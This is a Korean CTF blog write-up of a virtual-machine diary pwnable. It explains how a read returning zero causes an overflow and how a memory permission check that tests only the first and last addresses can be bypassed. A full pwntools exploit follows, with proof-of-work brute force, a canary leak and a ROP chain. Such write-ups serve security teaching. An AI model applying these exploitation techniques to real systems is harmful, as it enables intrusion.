ida 플러그인까지 준비해가서 펌웨어를 깠는데

이게 왠걸 아무리 봐도 상식적으로 취약점이 없었다..


삽질과 고뇌와 인내의 시간을 거치고


취약점 이거임..gamebox 에뮬레이터에 잇엇음..

class Stdin:
def read(self, size):
res = ''
buf = sys.stdin.readline(size)
for ch in buf:
if ord(ch) > 0b1111111:
break
if ch == '\n':
res += ch
break
res += ch
return res

def write(self, data):
return None



0b1111111보다 큰 입력값일 경우 바로 break하는데

이러면 read syscall 의 반환값이 0이됨


secretkey는 content 리턴값의 -1만큼 입력받음

content리턴값이 0이면? ... 오버플로우남..


이걸 어떻게 쓰냐면 


def write_memory(self, addr, data, length):
if not length:
return

if self.memory.check_permission(addr, PERM_WRITE) and self.memory.check_permission(addr + length - 1, PERM_WRITE):
for offset in range(length):
self.memory[addr + offset] = data[offset] & 0b1111111
else:
self.terminate("[VM] Can't write memory")



이건데 


권한체크를 처음과 끝(data+length)주소만 함


length를 길게줘서 data+length가 권한이 있는 곳이면 쓰기가 가능한것..

content를 엄청 길게줘서 오버플로우 시키면 된다..

마침 0xf1000영역이 뒤에 할당된다.


스킨 건드리다가 코드 하이라이트 날라감.

나중에 해야겟다


#map 0xc4000 0x1c000 0x3a000 0xdd000 0x9b000 0xbb000 0xbf000 0xf1000 0x7c000
#0x59000 -> len( diary) 0x59000+ind*3-> mmap addr

from pwn import *
from hashlib import sha1
import string
import random


r=process(['python','vm_d.py'])
r=process(['python','vm_diary.py'])
x=random.randrange(0, 2**21-1)
def p21(a):
return chr(a & 0b1111111) + chr((a & 0b111111100000000000000) >> 14) + chr((a & 0b11111110000000) >> 7)

def chch():
r.recvuntil('prefix : ')
p=r.recvuntil('\n')[:-1]
print p
s=string.letters+string.digits
t=0
for i in s:
for j in s:
for l in s:
for k in s:
for m in s:
ans=p+i+j+l+k+m
if sha1(ans).hexdigest().endswith('000000'):
print ans
r.sendline(ans)
t=1
break
if t==1:
break
if t==1:
break
if t==1:
break
if t==1:
break

#r=process(['python','vm_diary.py'])
def rr(ind):
r.sendafter('>',str(ind).ljust(3,'\x00'))
def list():
rr(1)
def write(title,content,sec):
rr(2)
r.sendafter('title>',title)
r.recvuntil('content, secret key (same length)')
r.send(content)
r.send(sec)

def show(ind):
rr(3)
r.sendafter('index',str(ind)+'\n')

def edit(ind,title,cont):
rr(4)
r.sendafter('index', str(ind)+'\n')
r.sendafter('title',title)
r.sendafter('content',cont)

print len(sys.argv)
if len(sys.argv)>1:
r = remote('58.229.253.146', 8888)
chch()
write('t' * 0x1e, 'a' * 0x4af+'\x80', 'q' * (0x4af)+'\n')
write('t' * 0x1e, 'a' * 0x4af+'\x80', 'q' * (0x4af)+'\n')


rr(2)
r.sendafter('title>', 't\n')
r.sendlineafter('content, secret key (same length)', '\x80')
r.send('C' * (0x1eb13+10-9) +p21(0x3)+p21(0xf5fb6)+'\x80'+'\n')
print hex(0x3a4ec+0x1eb13+10)
list()
r.recvuntil('----------------------------------------------------')
r.recvuntil('1)')
canary=r.recv(3)


print 'canary:',canary
#raw_input()
#r.interactive()

for i in range(4):
write('flag\x00\n', 'a' * 0x4af+'\x80', 'q' * (0x4af)+'\n')
rr(2)
r.sendafter('title>', 't\n')
r.sendlineafter('content, secret key (same length)', '\x80')
p2p1r=0x6ae
p1p0r=0x67e

'''
LOAD:064E syscall
LOAD:0650 pop $r6
LOAD:0652 cmp $r6, $r9
LOAD:0654 jne loc_59D
LOAD:0659 pop $r3
LOAD:065B pop $r2
LOAD:065D pop $r1
LOAD:065F pop $pc
'''
rop=p21(0xdead)+p21(0x67e)+p21(0xdd000)+p21(1)+p21(0x64e)+canary+p21(0xdead)+p21(0x9b000)+p21(0xdead)#+p21(0xdead)+p21(0xc)
rop2=p21(p1p0r)+p21(2)+p21(3)+p21(0x64e)+canary+p21(0x100)+p21(0x9b000)+p21(0xdead)
rop+=rop2
rop+=p21(p1p0r)+p21(1)+p21(2)+p21(0x64e)
r.send('C' * (0x4b13 - 0x4a-50-2740-1+4+2800-30+18-9+3+2+3-18*3+1)+'E'*(17*3-1+3)+ 'D' +canary+p21(0xdead)*2+rop+'\x80\n')
#print hex(0x4b13 - 0x4a-50-2740-1+4+0xf14ec+2800)
print 'canary:',canary
raw_input()
r.interactive()


'CTF' 카테고리의 다른 글

[codegate2018 final]place the blanket  (0) 2018.04.07
[sha2017]megan-35  (0) 2017.08.07
[H3XOR]column test  (0) 2017.08.02
[codegate2017]VM  (0) 2017.07.25
[2017 googlectf] inst_prof  (0) 2017.06.19

+ Recent posts